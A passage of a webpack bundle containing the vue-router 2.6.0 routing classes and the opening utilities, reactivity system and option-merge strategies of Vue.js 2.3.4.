this$1.transitionTo(getLocation(this$1.base), function (route) {
if (expectScroll) {
handleScroll(router, route, current, true);
}
});
});
}
if (History$$1) HTML5History.__proto__ = History$$1;
HTML5History.prototype = Object.create(History$$1 && History$$1.prototype);
HTML5History.prototype.constructor = HTML5History;
HTML5History.prototype.go = function go(n) {
window.history.go(n);
};
HTML5History.prototype.push = function push(location, onComplete, onAbort) {
var this$1 = this;
var ref = this;
var fromRoute = ref.current;
this.transitionTo(location, function (route) {
pushState(cleanPath(this$1.base + route.fullPath));
handleScroll(this$1.router, route, fromRoute, false);
onComplete && onComplete(route);
}, onAbort);
};
HTML5History.prototype.replace = function replace(location, onComplete, onAbort) {
var this$1 = this;
var ref = this;
var fromRoute = ref.current;
this.transitionTo(location, function (route) {
replaceState(cleanPath(this$1.base + route.fullPath));
handleScroll(this$1.router, route, fromRoute, false);
onComplete && onComplete(route);
}, onAbort);
};
HTML5History.prototype.ensureURL = function ensureURL(push) {
if (getLocation(this.base) !== this.current.fullPath) {
var current = cleanPath(this.base + this.current.fullPath);
push ? pushState(current) : replaceState(current);
}
};
HTML5History.prototype.getCurrentLocation = function getCurrentLocation() {
return getLocation(this.base);
};
return HTML5History;
}(History);
function getLocation(base) {
var path = window.location.pathname;
if (base && path.indexOf(base) === 0) {
path = path.slice(base.length);
}
return (path || '/') + window.location.search + window.location.hash;
}
/* */
var HashHistory = function (History$$1) {
function HashHistory(router, base, fallback) {
History$$1.call(this, router, base);
// check history fallback deeplinking
if (fallback && checkFallback(this.base)) {
return;
}
ensureSlash();
}
if (History$$1) HashHistory.__proto__ = History$$1;
HashHistory.prototype = Object.create(History$$1 && History$$1.prototype);
HashHistory.prototype.constructor = HashHistory;
// this is delayed until the app mounts
// to avoid the hashchange listener being fired too early
HashHistory.prototype.setupListeners = function setupListeners() {
var this$1 = this;
window.addEventListener('hashchange', function () {
if (!ensureSlash()) {
return;
}
this$1.transitionTo(getHash(), function (route) {
replaceHash(route.fullPath);
});
});
};
HashHistory.prototype.push = function push(location, onComplete, onAbort) {
this.transitionTo(location, function (route) {
pushHash(route.fullPath);
onComplete && onComplete(route);
}, onAbort);
};
HashHistory.prototype.replace = function replace(location, onComplete, onAbort) {
this.transitionTo(location, function (route) {
replaceHash(route.fullPath);
onComplete && onComplete(route);
}, onAbort);
};
HashHistory.prototype.go = function go(n) {
window.history.go(n);
};
HashHistory.prototype.ensureURL = function ensureURL(push) {
var current = this.current.fullPath;
if (getHash() !== current) {
push ? pushHash(current) : replaceHash(current);
}
};
HashHistory.prototype.getCurrentLocation = function getCurrentLocation() {
return getHash();
};
return HashHistory;
}(History);
function checkFallback(base) {
var location = getLocation(base);
if (!/^\/#/.test(location)) {
window.location.replace(cleanPath(base + '/#' + location));
return true;
}
}
function ensureSlash() {
var path = getHash();
if (path.charAt(0) === '/') {
return true;
}
replaceHash('/' + path);
return false;
}
function getHash() {
// We can't use window.location.hash here because it's not
// consistent across browsers - Firefox will pre-decode it!
var href = window.location.href;
var index = href.indexOf('#');
return index === -1 ? '' : href.slice(index + 1);
}
function pushHash(path) {
window.location.hash = path;
}
function replaceHash(path) {
var href = window.location.href;
var i = href.indexOf('#');
var base = i >= 0 ? href.slice(0, i) : href;
window.location.replace(base + "#" + path);
}
/* */
var AbstractHistory = function (History$$1) {
function AbstractHistory(router, base) {
History$$1.call(this, router, base);
this.stack = [];
this.index = -1;
}
if (History$$1) AbstractHistory.__proto__ = History$$1;
AbstractHistory.prototype = Object.create(History$$1 && History$$1.prototype);
AbstractHistory.prototype.constructor = AbstractHistory;
AbstractHistory.prototype.push = function push(location, onComplete, onAbort) {
var this$1 = this;
this.transitionTo(location, function (route) {
this$1.stack = this$1.stack.slice(0, this$1.index + 1).concat(route);
this$1.index++;
onComplete && onComplete(route);
}, onAbort);
};
AbstractHistory.prototype.replace = function replace(location, onComplete, onAbort) {
var this$1 = this;
this.transitionTo(location, function (route) {
this$1.stack = this$1.stack.slice(0, this$1.index).concat(route);
onComplete && onComplete(route);
}, onAbort);
};
AbstractHistory.prototype.go = function go(n) {
var this$1 = this;
var targetIndex = this.index + n;
if (targetIndex < 0 || targetIndex >= this.stack.length) {
return;
}
var route = this.stack[targetIndex];
this.confirmTransition(route, function () {
this$1.index = targetIndex;
this$1.updateRoute(route);
});
};
AbstractHistory.prototype.getCurrentLocation = function getCurrentLocation() {
var current = this.stack[this.stack.length - 1];
return current ? current.fullPath : '/';
};
AbstractHistory.prototype.ensureURL = function ensureURL() {
// noop
};
return AbstractHistory;
}(History);
/* */
var VueRouter = function VueRouter(options) {
if (options === void 0) options = {};
this.app = null;
this.apps = [];
this.options = options;
this.beforeHooks = [];
this.resolveHooks = [];
this.afterHooks = [];
this.matcher = createMatcher(options.routes || [], this);
var mode = options.mode || 'hash';
this.fallback = mode === 'history' && !supportsPushState && options.fallback !== false;
if (this.fallback) {
mode = 'hash';
}
if (!inBrowser) {
mode = 'abstract';
}
this.mode = mode;
switch (mode) {
case 'history':
this.history = new HTML5History(this, options.base);
break;
case 'hash':
this.history = new HashHistory(this, options.base, this.fallback);
break;
case 'abstract':
this.history = new AbstractHistory(this, options.base);
break;
default:
if (true) {
assert(false, "invalid mode: " + mode);
}
}
};
var prototypeAccessors = { currentRoute: {} };
VueRouter.prototype.match = function match(raw, current, redirectedFrom) {
return this.matcher.match(raw, current, redirectedFrom);
};
prototypeAccessors.currentRoute.get = function () {
return this.history && this.history.current;
};
VueRouter.prototype.init = function init(app /* Vue component instance */) {
var this$1 = this;
"development" !== 'production' && assert(install.installed, "not installed. Make sure to call `Vue.use(VueRouter)` " + "before creating root instance.");
this.apps.push(app);
// main app already initialized.
if (this.app) {
return;
}
this.app = app;
var history = this.history;
if (history instanceof HTML5History) {
history.transitionTo(history.getCurrentLocation());
} else if (history instanceof HashHistory) {
var setupHashListener = function setupHashListener() {
history.setupListeners();
};
history.transitionTo(history.getCurrentLocation(), setupHashListener, setupHashListener);
}
history.listen(function (route) {
this$1.apps.forEach(function (app) {
app._route = route;
});
});
};
VueRouter.prototype.beforeEach = function beforeEach(fn) {
return registerHook(this.beforeHooks, fn);
};
VueRouter.prototype.beforeResolve = function beforeResolve(fn) {
return registerHook(this.resolveHooks, fn);
};
VueRouter.prototype.afterEach = function afterEach(fn) {
return registerHook(this.afterHooks, fn);
};
VueRouter.prototype.onReady = function onReady(cb, errorCb) {
this.history.onReady(cb, errorCb);
};
VueRouter.prototype.onError = function onError(errorCb) {
this.history.onError(errorCb);
};
VueRouter.prototype.push = function push(location, onComplete, onAbort) {
this.history.push(location, onComplete, onAbort);
};
VueRouter.prototype.replace = function replace(location, onComplete, onAbort) {
this.history.replace(location, onComplete, onAbort);
};
VueRouter.prototype.go = function go(n) {
this.history.go(n);
};
VueRouter.prototype.back = function back() {
this.go(-1);
};
VueRouter.prototype.forward = function forward() {
this.go(1);
};
VueRouter.prototype.getMatchedComponents = function getMatchedComponents(to) {
var route = to ? to.matched ? to : this.resolve(to).route : this.currentRoute;
if (!route) {
return [];
}
return [].concat.apply([], route.matched.map(function (m) {
return Object.keys(m.components).map(function (key) {
return m.components[key];
});
}));
};
VueRouter.prototype.resolve = function resolve(to, current, append) {
var location = normalizeLocation(to, current || this.history.current, append, this);
var route = this.match(location, current);
var fullPath = route.redirectedFrom || route.fullPath;
var base = this.history.base;
var href = createHref(base, fullPath, this.mode);
return {
location: location,
route: route,
href: href,
// for backwards compat
normalizedTo: location,
resolved: route
};
};
VueRouter.prototype.addRoutes = function addRoutes(routes) {
this.matcher.addRoutes(routes);
if (this.history.current !== START) {
this.history.transitionTo(this.history.getCurrentLocation());
}
};
Object.defineProperties(VueRouter.prototype, prototypeAccessors);
function registerHook(list, fn) {
list.push(fn);
return function () {
var i = list.indexOf(fn);
if (i > -1) {
list.splice(i, 1);
}
};
}
function createHref(base, fullPath, mode) {
var path = mode === 'hash' ? '#' + fullPath : fullPath;
return base ? cleanPath(base + '/' + path) : path;
}
VueRouter.install = install;
VueRouter.version = '2.6.0';
if (inBrowser && window.Vue) {
window.Vue.use(VueRouter);
}
/* harmony default export */__webpack_exports__["a"] = VueRouter;
/***/
},
/***/"./node_modules/vue/dist/vue.common.js":
/***/function node_modulesVueDistVueCommonJs(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */
(function (global) {
/*!
* Vue.js v2.3.4
* (c) 2014-2017 Evan You
* Released under the MIT License.
*/
/* */
// these helpers produces better vm code in JS engines due to their
// explicitness and function inlining
function isUndef(v) {
return v === undefined || v === null;
}
function isDef(v) {
return v !== undefined && v !== null;
}
function isTrue(v) {
return v === true;
}
function isFalse(v) {
return v === false;
}
/**
* Check if value is primitive
*/
function isPrimitive(value) {
return typeof value === 'string' || typeof value === 'number';
}
/**
* Quick object check - this is primarily used to tell
* Objects from primitive values when we know the value
* is a JSON-compliant type.
*/
function isObject(obj) {
return obj !== null && (typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) === 'object';
}
var _toString = Object.prototype.toString;
/**
* Strict object type check. Only returns true
* for plain JavaScript objects.
*/
function isPlainObject(obj) {
return _toString.call(obj) === '[object Object]';
}
function isRegExp(v) {
return _toString.call(v) === '[object RegExp]';
}
/**
* Convert a value to a string that is actually rendered.
*/
function toString(val) {
return val == null ? '' : (typeof val === 'undefined' ? 'undefined' : _typeof(val)) === 'object' ? JSON.stringify(val, null, 2) : String(val);
}
/**
* Convert a input value to a number for persistence.
* If the conversion fails, return original string.
*/
function toNumber(val) {
var n = parseFloat(val);
return isNaN(n) ? val : n;
}
/**
* Make a map and return a function for checking if a key
* is in that map.
*/
function makeMap(str, expectsLowerCase) {
var map = Object.create(null);
var list = str.split(',');
for (var i = 0; i < list.length; i++) {
map[list[i]] = true;
}
return expectsLowerCase ? function (val) {
return map[val.toLowerCase()];
} : function (val) {
return map[val];
};
}
/**
* Check if a tag is a built-in tag.
*/
var isBuiltInTag = makeMap('slot,component', true);
/**
* Remove an item from an array
*/
function remove(arr, item) {
if (arr.length) {
var index = arr.indexOf(item);
if (index > -1) {
return arr.splice(index, 1);
}
}
}
/**
* Check whether the object has the property.
*/
var hasOwnProperty = Object.prototype.hasOwnProperty;
function hasOwn(obj, key) {
return hasOwnProperty.call(obj, key);
}
/**
* Create a cached version of a pure function.
*/
function cached(fn) {
var cache = Object.create(null);
return function cachedFn(str) {
var hit = cache[str];
return hit || (cache[str] = fn(str));
};
}
/**
* Camelize a hyphen-delimited string.
*/
var camelizeRE = /-(\w)/g;
var camelize = cached(function (str) {
return str.replace(camelizeRE, function (_, c) {
return c ? c.toUpperCase() : '';
});
});
/**
* Capitalize a string.
*/
var capitalize = cached(function (str) {
return str.charAt(0).toUpperCase() + str.slice(1);
});
/**
* Hyphenate a camelCase string.
*/
var hyphenateRE = /([^-])([A-Z])/g;
var hyphenate = cached(function (str) {
return str.replace(hyphenateRE, '$1-$2').replace(hyphenateRE, '$1-$2').toLowerCase();
});
/**
* Simple bind, faster than native
*/
function bind(fn, ctx) {
function boundFn(a) {
var l = arguments.length;
return l ? l > 1 ? fn.apply(ctx, arguments) : fn.call(ctx, a) : fn.call(ctx);
}
// record original fn length
boundFn._length = fn.length;
return boundFn;
}
/**
* Convert an Array-like object to a real Array.
*/
function toArray(list, start) {
start = start || 0;
var i = list.length - start;
var ret = new Array(i);
while (i--) {
ret[i] = list[i + start];
}
return ret;
}
/**
* Mix properties into target object.
*/
function extend(to, _from) {
for (var key in _from) {
to[key] = _from[key];
}
return to;
}
/**
* Merge an Array of Objects into a single Object.
*/
function toObject(arr) {
var res = {};
for (var i = 0; i < arr.length; i++) {
if (arr[i]) {
extend(res, arr[i]);
}
}
return res;
}
/**
* Perform no operation.
*/
function noop() {}
/**
* Always return false.
*/
var no = function no() {
return false;
};
/**
* Return same value
*/
var identity = function identity(_) {
return _;
};
/**
* Generate a static keys string from compiler modules.
*/
function genStaticKeys(modules) {
return modules.reduce(function (keys, m) {
return keys.concat(m.staticKeys || []);
}, []).join(',');
}
/**
* Check if two values are loosely equal - that is,
* if they are plain objects, do they have the same shape?
*/
function looseEqual(a, b) {
var isObjectA = isObject(a);
var isObjectB = isObject(b);
if (isObjectA && isObjectB) {
try {
return JSON.stringify(a) === JSON.stringify(b);
} catch (e) {
// possible circular reference
return a === b;
}
} else if (!isObjectA && !isObjectB) {
return String(a) === String(b);
} else {
return false;
}
}
function looseIndexOf(arr, val) {
for (var i = 0; i < arr.length; i++) {
if (looseEqual(arr[i], val)) {
return i;
}
}
return -1;
}
/**
* Ensure a function is called only once.
*/
function once(fn) {
var called = false;
return function () {
if (!called) {
called = true;
fn.apply(this, arguments);
}
};
}
var SSR_ATTR = 'data-server-rendered';
var ASSET_TYPES = ['component', 'directive', 'filter'];
var LIFECYCLE_HOOKS = ['beforeCreate', 'created', 'beforeMount', 'mounted', 'beforeUpdate', 'updated', 'beforeDestroy', 'destroyed', 'activated', 'deactivated'];
/* */
var config = {
/**
* Option merge strategies (used in core/util/options)
*/
optionMergeStrategies: Object.create(null),
/**
* Whether to suppress warnings.
*/
silent: false,
/**
* Show production mode tip message on boot?
*/
productionTip: "development" !== 'production',
/**
* Whether to enable devtools
*/
devtools: "development" !== 'production',
/**
* Whether to record perf
*/
performance: false,
/**
* Error handler for watcher errors
*/
errorHandler: null,
/**
* Ignore certain custom elements
*/
ignoredElements: [],
/**
* Custom user key aliases for v-on
*/
keyCodes: Object.create(null),
/**
* Check if a tag is reserved so that it cannot be registered as a
* component. This is platform-dependent and may be overwritten.
*/
isReservedTag: no,
/**
* Check if an attribute is reserved so that it cannot be used as a component
* prop. This is platform-dependent and may be overwritten.
*/
isReservedAttr: no,
/**
* Check if a tag is an unknown element.
* Platform-dependent.
*/
isUnknownElement: no,
/**
* Get the namespace of an element
*/
getTagNamespace: noop,
/**
* Parse the real tag name for the specific platform.
*/
parsePlatformTagName: identity,
/**
* Check if an attribute must be bound using property, e.g. value
* Platform-dependent.
*/
mustUseProp: no,
/**
* Exposed for legacy reasons
*/
_lifecycleHooks: LIFECYCLE_HOOKS
};
/* */
var emptyObject = Object.freeze({});
/**
* Check if a string starts with $ or _
*/
function isReserved(str) {
var c = (str + '').charCodeAt(0);
return c === 0x24 || c === 0x5F;
}
/**
* Define a property.
*/
function def(obj, key, val, enumerable) {
Object.defineProperty(obj, key, {
value: val,
enumerable: !!enumerable,
writable: true,
configurable: true
});
}
/**
* Parse simple path.
*/
var bailRE = /[^\w.$]/;
function parsePath(path) {
if (bailRE.test(path)) {
return;
}
var segments = path.split('.');
return function (obj) {
for (var i = 0; i < segments.length; i++) {
if (!obj) {
return;
}
obj = obj[segments[i]];
}
return obj;
};
}
/* */
var warn = noop;
var tip = noop;
var formatComponentName = null; // work around flow check
if (true) {
var hasConsole = typeof console !== 'undefined';
var classifyRE = /(?:^|[-_])(\w)/g;
var classify = function classify(str) {
return str.replace(classifyRE, function (c) {
return c.toUpperCase();
}).replace(/[-_]/g, '');
};
warn = function warn(msg, vm) {
if (hasConsole && !config.silent) {
console.error("[Vue warn]: " + msg + (vm ? generateComponentTrace(vm) : ''));
}
};
tip = function tip(msg, vm) {
if (hasConsole && !config.silent) {
console.warn("[Vue tip]: " + msg + (vm ? generateComponentTrace(vm) : ''));
}
};
formatComponentName = function formatComponentName(vm, includeFile) {
if (vm.$root === vm) {
return '<Root>';
}
var name = typeof vm === 'string' ? vm : typeof vm === 'function' && vm.options ? vm.options.name : vm._isVue ? vm.$options.name || vm.$options._componentTag : vm.name;
var file = vm._isVue && vm.$options.__file;
if (!name && file) {
var match = file.match(/([^/\\]+)\.vue$/);
name = match && match[1];
}
return (name ? "<" + classify(name) + ">" : "<Anonymous>") + (file && includeFile !== false ? " at " + file : '');
};
var repeat = function repeat(str, n) {
var res = '';
while (n) {
if (n % 2 === 1) {
res += str;
}
if (n > 1) {
str += str;
}
n >>= 1;
}
return res;
};
var generateComponentTrace = function generateComponentTrace(vm) {
if (vm._isVue && vm.$parent) {
var tree = [];
var currentRecursiveSequence = 0;
while (vm) {
if (tree.length > 0) {
var last = tree[tree.length - 1];
if (last.constructor === vm.constructor) {
currentRecursiveSequence++;
vm = vm.$parent;
continue;
} else if (currentRecursiveSequence > 0) {
tree[tree.length - 1] = [last, currentRecursiveSequence];
currentRecursiveSequence = 0;
}
}
tree.push(vm);
vm = vm.$parent;
}
return '\n\nfound in\n\n' + tree.map(function (vm, i) {
return "" + (i === 0 ? '---> ' : repeat(' ', 5 + i * 2)) + (Array.isArray(vm) ? formatComponentName(vm[0]) + "... (" + vm[1] + " recursive calls)" : formatComponentName(vm));
}).join('\n');
} else {
return "\n\n(found in " + formatComponentName(vm) + ")";
}
};
}
/* */
function handleError(err, vm, info) {
if (config.errorHandler) {
config.errorHandler.call(null, err, vm, info);
} else {
if (true) {
warn("Error in " + info + ": \"" + err.toString() + "\"", vm);
}
/* istanbul ignore else */
if (inBrowser && typeof console !== 'undefined') {
console.error(err);
} else {
throw err;
}
}
}
/* */
/* globals MutationObserver */
// can we use __proto__?
var hasProto = '__proto__' in {};
// Browser environment sniffing
var inBrowser = typeof window !== 'undefined';
var UA = inBrowser && window.navigator.userAgent.toLowerCase();
var isIE = UA && /msie|trident/.test(UA);
var isIE9 = UA && UA.indexOf('msie 9.0') > 0;
var isEdge = UA && UA.indexOf('edge/') > 0;
var isAndroid = UA && UA.indexOf('android') > 0;
var isIOS = UA && /iphone|ipad|ipod|ios/.test(UA);
var isChrome = UA && /chrome\/\d+/.test(UA) && !isEdge;
var supportsPassive = false;
if (inBrowser) {
try {
var opts = {};
Object.defineProperty(opts, 'passive', {
get: function get() {
/* istanbul ignore next */
supportsPassive = true;
}
}); // https://github.com/facebook/flow/issues/285
window.addEventListener('test-passive', null, opts);
} catch (e) {}
}
// this needs to be lazy-evaled because vue may be required before
// vue-server-renderer can set VUE_ENV
var _isServer;
var isServerRendering = function isServerRendering() {
if (_isServer === undefined) {
/* istanbul ignore if */
if (!inBrowser && typeof global !== 'undefined') {
// detect presence of vue-server-renderer and avoid
// Webpack shimming the process
_isServer = global['process'].env.VUE_ENV === 'server';
} else {
_isServer = false;
}
}
return _isServer;
};
// detect devtools
var devtools = inBrowser && window.__VUE_DEVTOOLS_GLOBAL_HOOK__;
/* istanbul ignore next */
function isNative(Ctor) {
return typeof Ctor === 'function' && /native code/.test(Ctor.toString());
}
var hasSymbol = typeof Symbol !== 'undefined' && isNative(Symbol) && typeof Reflect !== 'undefined' && isNative(Reflect.ownKeys);
/**
* Defer a task to execute it asynchronously.
*/
var nextTick = function () {
var callbacks = [];
var pending = false;
var timerFunc;
function nextTickHandler() {
pending = false;
var copies = callbacks.slice(0);
callbacks.length = 0;
for (var i = 0; i < copies.length; i++) {
copies[i]();
}
}
// the nextTick behavior leverages the microtask queue, which can be accessed
// via either native Promise.then or MutationObserver.
// MutationObserver has wider support, however it is seriously bugged in
// UIWebView in iOS >= 9.3.3 when triggered in touch event handlers. It
// completely stops working after triggering a few times... so, if native
// Promise is available, we will use it:
/* istanbul ignore if */
if (typeof Promise !== 'undefined' && isNative(Promise)) {
var p = Promise.resolve();
var logError = function logError(err) {
console.error(err);
};
timerFunc = function timerFunc() {
p.then(nextTickHandler).catch(logError);
// in problematic UIWebViews, Promise.then doesn't completely break, but
// it can get stuck in a weird state where callbacks are pushed into the
// microtask queue but the queue isn't being flushed, until the browser
// needs to do some other work, e.g. handle a timer. Therefore we can
// "force" the microtask queue to be flushed by adding an empty timer.
if (isIOS) {
setTimeout(noop);
}
};
} else if (typeof MutationObserver !== 'undefined' && (isNative(MutationObserver) ||
// PhantomJS and iOS 7.x
MutationObserver.toString() === '[object MutationObserverConstructor]')) {
// use MutationObserver where native Promise is not available,
// e.g. PhantomJS IE11, iOS7, Android 4.4
var counter = 1;
var observer = new MutationObserver(nextTickHandler);
var textNode = document.createTextNode(String(counter));
observer.observe(textNode, {
characterData: true
});
timerFunc = function timerFunc() {
counter = (counter + 1) % 2;
textNode.data = String(counter);
};
} else {
// fallback to setTimeout
/* istanbul ignore next */
timerFunc = function timerFunc() {
setTimeout(nextTickHandler, 0);
};
}
return function queueNextTick(cb, ctx) {
var _resolve;
callbacks.push(function () {
if (cb) {
try {
cb.call(ctx);
} catch (e) {
handleError(e, ctx, 'nextTick');
}
} else if (_resolve) {
_resolve(ctx);
}
});
if (!pending) {
pending = true;
timerFunc();
}
if (!cb && typeof Promise !== 'undefined') {
return new Promise(function (resolve, reject) {
_resolve = resolve;
});
}
};
}();
var _Set;
/* istanbul ignore if */
if (typeof Set !== 'undefined' && isNative(Set)) {
// use native Set when available.
_Set = Set;
} else {
// a non-standard Set polyfill that only works with primitive keys.
_Set = function () {
function Set() {
this.set = Object.create(null);
}
Set.prototype.has = function has(key) {
return this.set[key] === true;
};
Set.prototype.add = function add(key) {
this.set[key] = true;
};
Set.prototype.clear = function clear() {
this.set = Object.create(null);
};
return Set;
}();
}
/* */
var uid = 0;
/**
* A dep is an observable that can have multiple
* directives subscribing to it.
*/
var Dep = function Dep() {
this.id = uid++;
this.subs = [];
};
Dep.prototype.addSub = function addSub(sub) {
this.subs.push(sub);
};
Dep.prototype.removeSub = function removeSub(sub) {
remove(this.subs, sub);
};
Dep.prototype.depend = function depend() {
if (Dep.target) {
Dep.target.addDep(this);
}
};
Dep.prototype.notify = function notify() {
// stabilize the subscriber list first
var subs = this.subs.slice();
for (var i = 0, l = subs.length; i < l; i++) {
subs[i].update();
}
};
// the current target watcher being evaluated.
// this is globally unique because there could be only one
// watcher being evaluated at any time.
Dep.target = null;
var targetStack = [];
function pushTarget(_target) {
if (Dep.target) {
targetStack.push(Dep.target);
}
Dep.target = _target;
}
function popTarget() {
Dep.target = targetStack.pop();
}
/*
* not type checking this file because flow doesn't play well with
* dynamically accessing methods on Array prototype
*/
var arrayProto = Array.prototype;
var arrayMethods = Object.create(arrayProto);['push', 'pop', 'shift', 'unshift', 'splice', 'sort', 'reverse'].forEach(function (method) {
// cache original method
var original = arrayProto[method];
def(arrayMethods, method, function mutator() {
var arguments$1 = arguments;
// avoid leaking arguments:
// http://jsperf.com/closure-with-arguments
var i = arguments.length;
var args = new Array(i);
while (i--) {
args[i] = arguments$1[i];
}
var result = original.apply(this, args);
var ob = this.__ob__;
var inserted;
switch (method) {
case 'push':
inserted = args;
break;
case 'unshift':
inserted = args;
break;
case 'splice':
inserted = args.slice(2);
break;
}
if (inserted) {
ob.observeArray(inserted);
}
// notify change
ob.dep.notify();
return result;
});
});
/* */
var arrayKeys = Object.getOwnPropertyNames(arrayMethods);
/**
* By default, when a reactive property is set, the new value is
* also converted to become reactive. However when passing down props,
* we don't want to force conversion because the value may be a nested value
* under a frozen data structure. Converting it would defeat the optimization.
*/
var observerState = {
shouldConvert: true,
isSettingProps: false
};
/**
* Observer class that are attached to each observed
* object. Once attached, the observer converts target
* object's property keys into getter/setters that
* collect dependencies and dispatches updates.
*/
var Observer = function Observer(value) {
this.value = value;
this.dep = new Dep();
this.vmCount = 0;
def(value, '__ob__', this);
if (Array.isArray(value)) {
var augment = hasProto ? protoAugment : copyAugment;
augment(value, arrayMethods, arrayKeys);
this.observeArray(value);
} else {
this.walk(value);
}
};
/**
* Walk through each property and convert them into
* getter/setters. This method should only be called when
* value type is Object.
*/
Observer.prototype.walk = function walk(obj) {
var keys = Object.keys(obj);
for (var i = 0; i < keys.length; i++) {
defineReactive$$1(obj, keys[i], obj[keys[i]]);
}
};
/**
* Observe a list of Array items.
*/
Observer.prototype.observeArray = function observeArray(items) {
for (var i = 0, l = items.length; i < l; i++) {
observe(items[i]);
}
};
// helpers
/**
* Augment an target Object or Array by intercepting
* the prototype chain using __proto__
*/
function protoAugment(target, src) {
/* eslint-disable no-proto */
target.__proto__ = src;
/* eslint-enable no-proto */
}
/**
* Augment an target Object or Array by defining
* hidden properties.
*/
/* istanbul ignore next */
function copyAugment(target, src, keys) {
for (var i = 0, l = keys.length; i < l; i++) {
var key = keys[i];
def(target, key, src[key]);
}
}
/**
* Attempt to create an observer instance for a value,
* returns the new observer if successfully observed,
* or the existing observer if the value already has one.
*/
function observe(value, asRootData) {
if (!isObject(value)) {
return;
}
var ob;
if (hasOwn(value, '__ob__') && value.__ob__ instanceof Observer) {
ob = value.__ob__;
} else if (observerState.shouldConvert && !isServerRendering() && (Array.isArray(value) || isPlainObject(value)) && Object.isExtensible(value) && !value._isVue) {
ob = new Observer(value);
}
if (asRootData && ob) {
ob.vmCount++;
}
return ob;
}
/**
* Define a reactive property on an Object.
*/
function defineReactive$$1(obj, key, val, customSetter) {
var dep = new Dep();
var property = Object.getOwnPropertyDescriptor(obj, key);
if (property && property.configurable === false) {
return;
}
// cater for pre-defined getter/setters
var getter = property && property.get;
var setter = property && property.set;
var childOb = observe(val);
Object.defineProperty(obj, key, {
enumerable: true,
configurable: true,
get: function reactiveGetter() {
var value = getter ? getter.call(obj) : val;
if (Dep.target) {
dep.depend();
if (childOb) {
childOb.dep.depend();
}
if (Array.isArray(value)) {
dependArray(value);
}
}
return value;
},
set: function reactiveSetter(newVal) {
var value = getter ? getter.call(obj) : val;
/* eslint-disable no-self-compare */
if (newVal === value || newVal !== newVal && value !== value) {
return;
}
/* eslint-enable no-self-compare */
if ("development" !== 'production' && customSetter) {
customSetter();
}
if (setter) {
setter.call(obj, newVal);
} else {
val = newVal;
}
childOb = observe(newVal);
dep.notify();
}
});
}
/**
* Set a property on an object. Adds the new property and
* triggers change notification if the property doesn't
* already exist.
*/
function set(target, key, val) {
if (Array.isArray(target) && typeof key === 'number') {
target.length = Math.max(target.length, key);
target.splice(key, 1, val);
return val;
}
if (hasOwn(target, key)) {
target[key] = val;
return val;
}
var ob = target.__ob__;
if (target._isVue || ob && ob.vmCount) {
"development" !== 'production' && warn('Avoid adding reactive properties to a Vue instance or its root $data ' + 'at runtime - declare it upfront in the data option.');
return val;
}
if (!ob) {
target[key] = val;
return val;
}
defineReactive$$1(ob.value, key, val);
ob.dep.notify();
return val;
}
/**
* Delete a property and trigger change if necessary.
*/
function del(target, key) {
if (Array.isArray(target) && typeof key === 'number') {
target.splice(key, 1);
return;
}
var ob = target.__ob__;
if (target._isVue || ob && ob.vmCount) {
"development" !== 'production' && warn('Avoid deleting properties on a Vue instance or its root $data ' + '- just set it to null.');
return;
}
if (!hasOwn(target, key)) {
return;
}
delete target[key];
if (!ob) {
return;
}
ob.dep.notify();
}
/**
* Collect dependencies on array elements when the array is touched, since
* we cannot intercept array element access like property getters.
*/
function dependArray(value) {
for (var e = void 0, i = 0, l = value.length; i < l; i++) {
e = value[i];
e && e.__ob__ && e.__ob__.dep.depend();
if (Array.isArray(e)) {
dependArray(e);
}
}
}
/* */
/**
* Option overwriting strategies are functions that handle
* how to merge a parent option value and a child option
* value into the final value.
*/
var strats = config.optionMergeStrategies;
/**
* Options with restrictions
*/
if (true) {
strats.el = strats.propsData = function (parent, child, vm, key) {
if (!vm) {
warn("option \"" + key + "\" can only be used during instance " + 'creation with the `new` keyword.');
}
return defaultStrat(parent, child);
};
}
/**
* Helper that recursively merges two data objects together.
*/
function mergeData(to, from) {
if (!from) {
return to;
}
var key, toVal, fromVal;
var keys = Object.keys(from);
for (var i = 0; i < keys.length; i++) {
key = keys[i];
toVal = to[key];
fromVal = from[key];
if (!hasOwn(to, key)) {
set(to, key, fromVal);
} else if (isPlainObject(toVal) && isPlainObject(fromVal)) {
mergeData(toVal, fromVal);
}
}
return to;
}
/**
* Data
*/
strats.data = function (parentVal, childVal, vm) {
if (!vm) {
// in a Vue.extend merge, both should be functions
if (!childVal) {
return parentVal;
}
if (typeof childVal !== 'function') {
"development" !== 'production' && warn('The "data" option should be a function ' + 'that returns a per-instance value in component ' + 'definitions.', vm);
return parentVal;
}
if (!parentVal) {
return childVal;
}
// when parentVal & childVal are both present,
// we need to return a function that returns the
// merged result of both functions... no need to
// check if parentVal is a function here because
// it has to be a function to pass previous merges.
return function mergedDataFn() {
return mergeData(childVal.call(this), parentVal.call(this));
};
} else if (parentVal || childVal) {
return function mergedInstanceDataFn() {
// instance merge
var instanceData = typeof childVal === 'function' ? childVal.call(vm) : childVal;
var defaultData = typeof parentVal === 'function' ? parentVal.call(vm) : undefined;
if (instanceData) {
return mergeData(instanceData, defaultData);
} else {
return defaultData;
}
};
}
};
/**
* Hooks and props are merged as arrays.
*/
function mergeHook(parentVal, childVal) {
return childVal ? parentVal ? parentVal.concat(childVal) : Array.isArray(childVal) ? childVal : [childVal] : parentVal;
}
LIFECYCLE_HOOKS.forEach(function (hook) {
strats[hook] = mergeHook;
});
/**
* Assets
*
* When a vm is present (instance creation), we need to do
* a three-way merge between constructor options, instance
* options and parent options.
*/
function mergeAssets(parentVal, childVal) {
var res = Object.create(parentVal || null);
return childVal ? extend(res, childVal) : res;
}
ASSET_TYPES.forEach(function (type) {
strats[type + 's'] = mergeAssets;
});
/**
* Watchers.
*
* Watchers hashes should not overwrite one
* another, so we merge them as arrays.
*/
strats.watch = function (parentVal, childVal) {
/* istanbul ignore if */
if (!childVal) {
return Object.create(parentVal || null);
}
if (!parentVal) {
return childVal;
}
var ret = {};
extend(ret, parentVal);
for (var key in childVal) {
var parent = ret[key];
var child = childVal[key];
if (parent && !Array.isArray(parent)) {
parent = [parent];
}
ret[key] = parent ? parent.concat(child) : [child];
}
return ret;
};
/**
* Other object hashes.
*/
strats.props = strats.methods = strats.computed = function (parentVal, childVal) {
if (!childVal) {
return Object.create(parentVal || null);
}
if (!parentVal) {
return childVal;
}
var ret = Object.create(null);
extend(ret, parentVal);
extend(ret, childVal);
return ret;
};
/**
* Default strategy.
*/
var defaultStrat = function defaultStrat(parentVal, childVal) {
return childVal === undefined ? parentVal : childVal;
};
/**
* Validate component names
*/
function checkComponents(options) {
